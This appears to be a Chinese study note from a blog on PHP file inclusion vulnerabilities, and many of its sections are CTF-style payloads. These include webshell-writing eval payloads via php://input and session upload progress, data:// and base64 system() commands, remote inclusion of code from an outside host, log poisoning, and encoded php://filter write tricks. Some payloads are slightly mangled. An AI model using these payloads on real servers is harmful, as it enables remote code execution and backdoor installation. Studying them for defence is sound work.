【学习笔记】文件包含漏洞--本地远程包含、伪协议、加密编码

一、文件包含漏洞

和SQL等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。

什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。

PHP常用文件包含函数:include(),require(),include_once(),require_once()

区别如下:

  • require():找不到被包含的文件会产生致命错误,并停止脚本运行
  • include():找不到被包含的文件只会产生警告,脚本继续执行
  • require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
  • include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含

二、漏洞成因分析

写以下两串php代码

利用文件包含,我们通过include函数来执行phpinfo.php页面,成功解析

将phpinfo.php文件后缀改为txt后进行访问,依然可以解析,同理,jpg也可

可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。

在文件上传漏洞中,我们上传了一个jpg格式的一句话木马,如果网站有文件包含漏洞,jpg文件就可以被当做php文件解析,所以这就是文件上传漏洞通常配合文件上传使用。

将phpinfo.txt的内容改成一段文字:hello world!,再次进行访问,依旧可以读出文本内容

利用这个特性,我们可以读取一下包含敏感信息的文件。

三、本地包含、远程包含

①本地文件包含(LFI)

本地文件包含是指包含服务器本地文件并执行其中的代码。通常用于重用代码片段,避免重复编写相同的代码。

例如,在PHP中,可以使用includerequire函数来包含文件:

复制代码
<?php

include('localfile.php');

?>

如果包含的文件不存在,include 函数会产生警告,但脚本会继续运行,而require函数会产生致命错误并终止脚本。

②远程文件包含(RFI)

远程文件包含是指通过URL包含远程服务器上的文件并执行其中的代码。

要实现远程文件包含,PHP配置中的allow_url_include必须开启:

复制代码
<?php

include('http://example.com/remotefile.php');

?>

远程文件包含的风险更大,因为攻击者可以通过URL传递恶意代码并在目标服务器上执行。

风险:本地文件包含:主要风险是泄露服务器上的敏感文件。

远程文件包含:风险更大,可能导致远程代码执行。

四、伪协议

文件包含漏洞全面详解(伪协议)-CSDN博客

文件读取:

file:///etc/passwd(绝对路径)

php://filter/read=convert.base64-encode/resource=phpinfo.php(相对路径)

文件写入:

php://filter/write=convert.base64-encode/resource=phpinfo.php

php://input POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GETcmd); ?>'); ?>

代码执行:

php://input------POST:<?php phpinfo();?>

data://text/plain,<?php phpinfo();?>

data://text/plain;base64,PD9waHAgc3lzdGVtKCdJcycpOz8+

++(注:PD9waHAgc3lzdGVtKCdJcycpOz8+解码为<?php system('Is');?>++

五、session包含

session文件会定时清空

自定义session名字,条件竞争不断访问session文件,value代码会不断写入是session文件中去,然后再session文件清空的一刹那不断用条件竞争去包含session文件,使其执行value代码,代码执行时就会创建shell.php文件,写入后门代码。

<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST1)?>'?>" />

六、php&http协议

payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

payload: ?file=php://input post:<?php system('tac flag.php');?>

payload: ?file=http://www.xiaodi8.com/1.txt 1.txt:<?php system('tac flag.php');?>

七、data&http协议

payload: ?file=data://text/plain,<?=system('tac flag.*');?>

payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

八、日志包含

利用日志记录UA特性包含执行,将后门代码写入UA 头中

payload:/var/log/nginx/access.log

九、php://filter/write&加密编码

1、利用base64:

url编码2次:php://filter/write=convert.base64-decode/resource=123.php

content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

2、利用凯撒13:

url编码2次:php://filter/write=string.rot13/resource=2.php

content=<?cuc riny($_CBFG1);?>

十、php://filter/write&新的算法

convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用

Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php

contents=?<hp pvela$(P_SOTa;)>?

以上内容均为自己学习理解所得,如有错误,欢迎大家评论指正!

相关推荐
疯狂打码的少年5 小时前
【数据库技术】关系模型基本概念(关系/属性/元组/键)
java·服务器·数据库·笔记
泯泷6 小时前
手搓JSVMM第 8 篇:函数调用:参数、返回值与调用帧
前端·javascript·前端框架
Sherotree6 小时前
Google Antigravity——Agent 被提到主界面
前端·ide·后端·edge浏览器
Bruce_Liuxiaowei7 小时前
从基础理论开始学习人工智能(三):盲目搜索——从状态空间图到生成-测试范式
人工智能·学习
里欧跑得慢7 小时前
Flutter 像素级还原:设计稿到代码的视觉无损转换技巧
前端·css·flutter·web
有梦想的骇客7 小时前
PyTorch学习笔记
pytorch·笔记·学习
里欧跑得慢7 小时前
Flutter 三方库 function_tree — 鸿蒙应用开发中的动态数学公式解析与计算神器,实现鸿蒙深度适配下的复杂函数逻辑运行时求值实战(适配鸿蒙 HarmonyOS Next ohos)
android·前端·安全·flutter·华为·harmonyos
Capricorn19887 小时前
个人知识库接入大模型频现“幻觉引用”?排查 RAG 溯源失效问题,解析知芽构建可信第三大脑的底层架构
大数据·论文阅读·人工智能·笔记·架构·论文笔记
苏灿烤鱼8 小时前
没有机密文件,也没有付费数据,在浏览器里造一颗"间谍卫星"
前端·javascript·github
陈年老古董8 小时前
深度学习入门笔记:从神经元到深度神经网络
人工智能·笔记·深度学习·神经网络·学习